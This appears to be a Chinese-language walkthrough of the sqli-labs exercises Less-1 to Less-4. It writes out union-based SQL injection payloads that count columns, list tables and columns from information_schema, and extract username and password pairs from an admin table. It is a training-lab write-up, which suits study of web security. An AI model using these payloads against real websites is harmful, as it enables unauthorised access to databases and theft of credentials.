Less-1

  1. 測試是字元型還是數字型

  1. 判斷所在欄位數

  2. 檢視顯示值

    可以看出顯示2,3位置。因此我們選擇2的位置進行聯合注入

  3. 查看錶名

    • 我們要對admin,users等字元敏感
  4. 檢視admin表中的欄位名

  5. 顯示內容

    獲得flag:helloword

  6. less-1的程式碼

Less-2

  1. 判斷字元型注入還是數字型注入

    通過匹配單引號我們可以看出我們所寫的單引號並沒有被匹配因此我們可以看出這是一個數字注入

  2. 判斷所在表的欄位數

    -1+order+by+4

  3. 檢視顯示位置

    -1+union+select+1,2,3

  4. 查看錶名

    -1+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+

  5. 檢視admin表名的欄位

    -1+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+

  6. 檢視內容

    -1+union+select+1,(select+concat(username,0x5c,password)+from+admin+limit+0,1),3--+

  7. 程式碼檢視

Less-3

  1. 檢視

    -1'

    由錯誤回顯可以看出該型別為字元型注入,且需要閉合引號

    -1')--+



    發現構造成功

  2. 判斷欄位數

    -1')+order+by+4--+

  3. 檢視顯示位置

    -1')+union+select+1,2,3--+

  4. 查看錶名

    -1')+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+

  5. 檢視欄位

    -1')+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+

  6. 檢視內容

  7. 程式碼審計

Less-4

  1. 構造

    -1'

    無反應

    -1"

    發現我們需要閉合雙引號和括號

    -1") order by 100--+

    發現構造成功

  2. 判斷該表的欄位數

    -1")order+by+4--+

  3. 判斷顯示位置

    -1")union+select+1,2,3--+

  4. 查詢表名

    -1")union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+

  5. 檢視admin表中的欄位名

    -1")union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+

  6. 獲取admin表中內容

    -1")union+select+1,(select+concat(username,0x5c,password)+from+admin),3--+

  7. 程式碼審計